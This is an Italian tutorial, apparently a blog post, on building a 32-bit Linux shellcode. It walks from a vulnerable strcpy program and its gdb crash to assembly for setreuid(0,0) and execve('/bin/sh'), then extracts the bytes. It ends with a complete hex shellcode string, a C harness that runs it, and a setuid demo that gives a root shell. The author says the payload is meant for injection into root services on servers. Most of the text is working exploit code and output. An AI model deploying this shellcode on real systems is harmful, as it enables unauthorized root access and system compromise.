Scrivere uno shellcode da zero

Requisiti minimi per capire qualcosa in questo tutorial:
- Una minima conoscenza del C
- Una buona conoscenza di GNU/Linux
- Un'ottima conoscenza dell'Assembly

Molti programmi sono vulnerabili ad una tecnica detta buffer overflow. Se avete letto i requisiti minimi di questo tutorial e siete arrivati fin qui, immagino che sappiate di cosa sto parlando.
Detto in parole povere, un buffer overflow è generalmente un errore di programmazione che permette ad un attaccante di scrivere in zone dove non dovrebbe scrivere. Piccolo esempio di un programma vulnerabile:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)  {
        char buff[2];

        if (argc>1)  {
                strcpy(buff,argv[1]);
                printf ("Parametro passato: %s\n",buff);
        }

        return 0;
}
```

In questo esempio ho creato un buffer di 2 caratteri, e al suo interno copio il primo argomento passato al programma. Salviamolo, ad esempio, come vuln.c, compiliamolo ed eseguiamolo:

```
blacklight@nightmare:~/prog/c++$ gcc -Wall -o vuln vuln.c
blacklight@nightmare:~/prog/c++$ ./vuln AA
Parametro passato: AA
blacklight@nightmare:~/prog/c++$ ./vuln AAAA
Parametro passato: AAAA
blacklight@nightmare:~/prog/asm/GAS/shell$ ./vuln `perl -e 'print "A" x10'`
Parametro passato: AAAAAAAAAA
Segmentation fault
```

Notate una cosa: se provo a inserire 4 caratteri in un buffer che ne può contenere solo 2 non succede ancora niente. Questo perché i sistemi operativi moderni (i sistemi UNIX in particolare) provvedono a creare il cosiddetto “garbage space”. In pratica, proprio per evitare incidenti di buffer overflow il più possibile, inseriscono una specie di zona “cuscinetto” tra il buffer in memoria e le aree di memoria importanti, quelle che vengono sovrascritte con un attacco di tipo buffer overflow. Ma se passo come argomento al programma un buffer di 10 'A' (per comodità ho usato l'interprete Perl per passarli, tecnica molto usata

quando si vuole iniettare del codice in un programma vunlerabile per evitare di perdere tempo a scrivere tanti caratteri ASCII), il sistema operativo può fare ben poco, e il programma va in crash.

Diamo in pasto questo programmino al nostro debugger preferito (in questo tutorial userò Gdb), proviamo a mandarlo in crash e vediamo cosa succede nei registri:

```
blacklight@nightmare:~/prog/c++$ gdb vuln
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

// Eseguo il programma in modo da mandarlo in crash
(gdb) run `perl -e 'print "A" x10'`
Starting program: /home/blacklight/prog/asm/GAS/shell/vuln `perl -e 'print
"A" x10'`
Failed to read a valid object file image from memory.
Parametro passato: AAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

// Controllo cosa c'è nei registri
(gdb) i r
eax            0x0      0
ecx            0x0      0
edx            0x1e     30
ebx            0xb7f2cffc       -1208823812
esp            0xbfd9f270       0xbfd9f270
ebp            0x41414141       0x41414141
esi            0xbfd9f2f4       -1076235532
edi            0xbfd9f280       -1076235648
eip            0x41414141       0x41414141
eflags         0x10286  [ PF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
```

Nei registri EBP e EIP (rispettivamente il puntatore alla base dello stack e il registro che contiene l'indirizzo della prossima istruzione da eseguire) troviamo tanti 0x41 esadecimali. E, guarda caso, 0x41 è il codice esadecimale che

corrisponde al carattere ASCII 'A'. In pratica le nostre 'A' hanno fatto traboccare il buffer e sono andate a sovrascrivere questi due registri. Ma EIP contiene l'indirizzo della prossima istruzione da eseguire...questo vuol dire che, modificando questo registro, possiamo modificare il flusso del programma, facendogli fare quello che vogliamo. E se avessimo l'indirizzo di un insieme di istruzioni in linguaggio macchina che aprono una shell di root da remoto...? Inutile dirlo. Possiamo iniettare tanti caratteri “spazzatura” nel buffer fino a riempirlo del tutto, e poi, proprio a partire dal primo byte che va a sovrascrivere EIP, ci mettiamo l'indirizzo del nostro shellcode, in modo che salti subito lì.

In questo tutorial ci concentreremo proprio su come crearne uno di shellcode.

In C, avremmo un programmino del genere:

```
#include <stdio.h>

main()  {
        char *v[] = { "/bin/sh", NULL };
        setreuid(0,0);
        execve(v[0],v,NULL);
}
```

La prima funzione (setreuid) setta l'ID reale ed effettivo del proprietario del processo a quello specificato. E ovviamente 0 è l'ID del root. La seconda funzione (execve) esegue invece un comando passato come parametro. La sua sintassi è la seguente:

```
int execve(char* prg, char** argv, char** envp);
```

Il primo parametro sarà quindi il nome del programma da eseguire, completo di percorso assoluto (nel nostro caso /bin/sh è la shell di UNIX), il secondo un vettore contenente gli argomenti da passare al programma (nel nostro caso argv[0]=”/bin/sh” e argv[1]=NULL, in quanto non passiamo alcun parametro aggiuntivo) e il terzo un vettore contenente le eventuali variabili d'ambiente da passare al programma (nel nostro caso possiamo tranquillamente mettere NULL).

Provvediamo ora a tradurlo in Assembly, in modo da facilitare notevolmente il passaggio in linguaggio macchina.

Solo una piccola nota: quando andiamo a sfruttare una vulnerabilità di buffer overflow non abbiamo a disposizione il data segment, nel quale salvare la stringa “/bin/sh”. Come facciamo quindi ad accedere a questo dato?
La soluzione è questa. Dichiariamo la variabile all'interno del code segment, magari proprio alla fine del programma, contrassegnandola con un'etichetta. All'inizio del programma ci piazziamo un bel jmp all'etichetta in cui è contenuta la stringa e, a sua volta, a quest'etichetta ci piazziamo un call all'etichetta chiamante. Quando l'assemblatore trova una call salva sullo stack l'indirizzo attuale del programma che, guarda caso, nel nostro caso è proprio l'indirizzo

della stringa. Facciamo quindi un'operazione di pop su un registro (nel mio caso userò ESI per memorizzare l'indirizzo della stringa) e il gioco è fatto, possiamo tranquillamente utilizzare l'indirizzo a cui si trova la stringa all'interno del programma.
La sintassi sarà quindi qualcosa del genere:

```
// Questa è l'etichetta a cui comincia il programma
_start:
// Ci metto subito un jmp all'etichetta l2
     jmp        l2
l1:
     // Ora salvo l'indirizzo della stringa, contenuto proprio
     // nella cima dello stack, su ESI
     pop        %esi

     ..............
     ..............

l2:
     // Qui torno alla l1 con una call
     call       l1

     // Questa è la mia “stringa magica”
     .string    “/bin/sh”
```

Ok, abbiamo l'indirizzo della stringa. Quello che dobbiamo fare ora è tradurre in Assembly il codice che abbiamo precedentemente scritto in C.
Se andiamo a dare un'occhiata al file /usr/include/asm/unistd.h vediamo che alla funzione setreuid corrisponde il valore decimale 70, mentre alla execve il valore 11:

```
#define __NR_execve             11
#define __NR_setreuid           70
```

Questo vuol dire che quando andiamo a richiamare l'interrupt 0x80 nel nostro listato, il programma andrà a vedere che valore è contenuto nel registro EAX. Se trova il valore 11, allora capisce che deve richiamare la funzione execve, se trova il valore 70 chiamerà la funzione setreuid.
E gli argomenti passati alle funzioni? Semplice, li passiamo ai registri EBX, ECX e EDX.
Nel caso di setreuid avremo quindi questo codice (qui uso la sintassi ASM dell'AT&T, ma non è difficile tradurlo in sintassi Intel, se preferite usare il NASM come assemblatore):

```
movl       $70,%eax   // 70 è “l'opcode” di setreuid
movl       $0,%ebx
movl       $0,ecx     // I due argomenti da passare alla funzione
int        $0x80      // Chiamo l'interrupt
```

Mentre invece il codice della nostra execve sarà:

```
movl       $11,%eax   // 11 è il codice dell'execve
movl       %esi,%ebx  // Il primo parametro da passare alla funzione è il
                      // nome del programma da eseguire, ovvero “/bin/sh”.
                      // Ma precedentemente avevamo salvato l'indirizzo
della
                      // stringa “/bin/sh” sul registro ESI, quindi non
                      // facciamo altro che copiare in EBX il valore
                      // contenuto in ESI
push       $0
push       %esi
movl       %esp,%ecx  // Il secondo parametro da passare alla funzione è
                      // l'array degli argomenti da passare al programma,
                      // ovvero, come  abbiamo visto prima, l'array con
                      // argv[0]=”/bin/sh” e argv[1]=NULL (0). Salvo
                      // quindi questi due valori sullo
                      // stack e copio il puntatore allo stack nel
                      // registro ECX

movl       $0,%edx    // Il terzo parametro da passare alla funzione è
                      // l'array contenente le eventuali variabili
                      // d'ambiente da passare al programma, nel nostro
                      // caso NULL
int        $0x80      // Chiamo l'interrupt
```

Ora abbiamo in mano tutto il necessario per creare il codice. Apriamo il nostro editor di testo preferito e scriviamo queste righe:

```
     .global   _start
_start:
     jmp       l2
l1:
     pop       %esi

     movl      $70,%eax
     movl      $0,%ebx
     movl      $0,%ecx
     int       $0x80

     movl      $11,%eax
     movl      %esi,%ebx
     push      $0
     push      %esi
     movl      %esp,%ecx
     movl      $0,%edx
     int       $0x80

l2:
     call      l1
     .string   "/bin/sh"
```

Salviamolo come shell.S, compiliamolo e linkiamolo:

```
blacklight@nightmare:~/prog/asm/c++$ as -o shell.o shell.S
```

```
blacklight@nightmare:~/prog/asm/c++$ ld -o shell shell.o
```

Apriamolo ora con Gdb e disassembliamo le 3 etichette contenute nel programma (_start, l1 e l2), in ordine:

```
blacklight@nightmare:~/prog/c++/shell$ gdb shell
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...(no debugging symbols
found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas _start
Dump of assembler code for function _start:
0x08048074 <_start+0>:  jmp    0x804809b <l2>
End of assembler dump.
(gdb) disas l1
Dump of assembler code for function l1:
0x08048076 <l1+0>:      pop    %esi
0x08048077 <l1+1>:      mov    $0x46,%eax
0x0804807c <l1+6>:      mov    $0x0,%ebx
0x08048081 <l1+11>:     mov    $0x0,%ecx
0x08048086 <l1+16>:     int    $0x80
0x08048088 <l1+18>:     mov    $0xb,%eax
0x0804808d <l1+23>:     mov    %esi,%ebx
0x0804808f <l1+25>:     push   $0x0
0x08048091 <l1+27>:     push   %esi
0x08048092 <l1+28>:     mov    %esp,%ecx
0x08048094 <l1+30>:     mov    $0x0,%edx
0x08048099 <l1+35>:     int    $0x80
End of assembler dump.
(gdb) disas l2
Dump of assembler code for function l2:
0x0804809b <l2+0>:      call   0x8048076 <l1>
0x080480a0 <l2+5>:      das
0x080480a1 <l2+6>:      bound  %ebp,0x6e(%ecx)
0x080480a4 <l2+9>:      das
0x080480a5 <l2+10>:     jae    0x804810f
0x080480a7 <l2+12>:     .byte 0x0
End of assembler dump.
```

Ci ritroviamo esattamente il programma che abbiamo scritto in ASM. Quello che dobbiamo inserire nel nostro shellcode va dall'etichetta _start+0 fino a l2+4 (dopo la call c'è una routine inserita automaticamente dall'assemblatore, che a noi non interessa, e la call in ogni caso è un'istruzione lunga 4 byte, in quanto l'istruzione successiva inizia a l2+5).
L'etichetta _start è lunga 2 byte (comincia all'indirizzo `0x08048074` e all'indirizzo

`0x08048076` troviamo la prima istruzione di l1).

L'etichetta l1 è lunga 37 byte (comincia a l1+0 e l'ultima istruzione si trova a l2+35. Ma l'ultima istruzione è lunga 2 byte, in quanto comincia a `0x08048099` e la successiva si trova a `0x0804809b`, 35+2=37).

Dell'etichetta l2 ci interessa solo la call che, come abbiamo detto, è lunga 4 byte.

In tutto il nostro shellcode dovrà essere lungo 2+37+4=43 byte. Andiamo quindi a leggere in linguaggio macchina 43 byte a partire da _start+0:

```
(gdb) x/43xb _start+0
0x8048074 <_start>:     0xeb    0x25    0x5e    0xb8    0x46    0x00    0x00    0x00
0x804807c <l1+6>:       0xbb    0x00    0x00    0x00    0x00    0xb9    0x00    0x00
0x8048084 <l1+14>:      0x00    0x00    0xcd    0x80    0xb8    0x0b    0x00    0x00
0x804808c <l1+22>:      0x00    0x89    0xf3    0x6a    0x00    0x56    0x89    0xe1
0x8048094 <l1+30>:      0xba    0x00    0x00    0x00    0x00    0xcd    0x80    0xe8
0x804809c <l2+1>:       0xd6    0xff    0xff
```

Questo è il nostro shellcode. Per renderlo completo e “pronto all'iniezione” copiamolo nel nostro editor preferito, cancelliamo le etichette presenti prima di ogni sequenza di istruzioni e sostituiamo a tutti gli spazi e ai caratteri '0x' delle sequenze di escape esadecimali '\x', in modo da renderlo pronto ad eventuali iniezioni sia in codice C che in codice Perl. Infine dobbiamo aggiungere alla fine dello shellcode la stringa da copiare in ESI, ovvero proprio “/bin/sh”. Il risultato finale sarà quindi:

```
"\xeb\x25\x5e\xb8\x46\x00\x00\x00"
"\xbb\x00\x00\x00\x00\xb9\x00\x00"
"\x00\x00\xcd\x80\xb8\x0b\x00\x00"
"\x00\x89\xf3\x6a\x00\x56\x89\xe1"
"\xba\x00\x00\x00\x00\xcd\x80\xe8"
"\xd6\xff\xff\xff"
"/bin/sh"
```

Uno shellcode già pronto per essere iniettato.
Per testarlo creiamo un piccolo programmino in C:

```
char shell[] =
     "\xeb\x25\x5e\xb8\x46\x00\x00\x00"
     "\xbb\x00\x00\x00\x00\xb9\x00\x00"
     "\x00\x00\xcd\x80\xb8\x0b\x00\x00"
     "\x00\x89\xf3\x6a\x00\x56\x89\xe1"
     "\xba\x00\x00\x00\x00\xcd\x80\xe8"
     "\xd6\xff\xff\xff"
     "/bin/sh";

main()  {
     ( (void(*) (void)) shell) ();
}
```

Salviamolo come shell.c, compiliamolo ed eseguiamolo:

```
blacklight@nightmare:~/prog/c++$ gcc -o shell shell.c
blacklight@nightmare:~/prog/c++$ ./shell
sh-3.1$ whoami
blacklight
```

Ed ecco la nostra bella shell aperta, ma...c'è qualcosa che non va? Se digitiamo il comando whoami vediamo che abbiamo sì la nostra shell, ma non è di root. Il motivo è semplice: abbiamo eseguito un programma che *non* appartiene all'utente root, ma appartiene all'utente stesso che lo ha compilato (in questo caso il mio utente). La shell che ci salta fuori è quindi quella dell'utente a cui appartiene il programma. E se provassimo a cambiare il proprietario dell'eseguibile, settando anche il permesso ID...?

```
blacklight@nightmare:~/prog/c++$ sudo chown root shell
blacklight@nightmare:~/prog/c++$ sudo chmod +s shell
```

Proviamo ad eseguire il programma ora, sempre con un utente senza privilegi:

```
blacklight@nightmare:~/prog/asm/GAS/shell$ ./shell
sh-3.1# whoami
root
```

Ed ecco la nostra bella shell di root, procurata senza fatica alcuna e senza nessuna richiesta di password.
La pericolosità di tutto questo? Se trovassimo un servizio attivo su un server con i privilegi di root e vulnerabile ad attacchi di buffer overflow possiamo iniettargli il nostro bello shellcode ed ottenere una shell di root senza alcuna fatica.

Ricordate sempre che lo stesso shellcode probabilmente non funzionerà su macchine con architetture e sistemi operativi diversi. Lo shellcode che ho creato in questo tutorial l'ho creato su una macchina che monta un sistema UNIX e sfrutta l'ISA dell'Intel IA-32 (l'ISA per processori Intel a 32 bit). Questo shellcode presumibilmente funzionerà su tutte le macchine con l'ISA IA-32 e con sistema operativo Linux, ma non funzionerà su macchine che sfruttano la stessa ISA ma montano un sistema operativo diverso o su macchine con ISA differente, anche se con lo stesso sistema operativo (ad esempio una macchina Intel con Windows, o un PowerPC con sistema operativo Mac, o Gentoo, o su un calcolatore che monta un processore Intel Itanium a 64 bit). Per questo, prima di scrivere uno shellcode che sfrutti una vulnerabilità di buffer overflow, bisogna sempre sapere per che tipo di macchina si sta scrivendo lo shellcode. Ovviamente non c'è bisogno di comprarsi un Mac solo per scrivere uno shellcode per Mac però...in questo caso basta sfruttare qualche emulatore.

Abbiamo imparato ora come si scrive uno shellcode...prossimamente impareremo anche come iniettarlo in un programma vulnerabile (tecnica che non ho illustrato qui per motivi di spazio).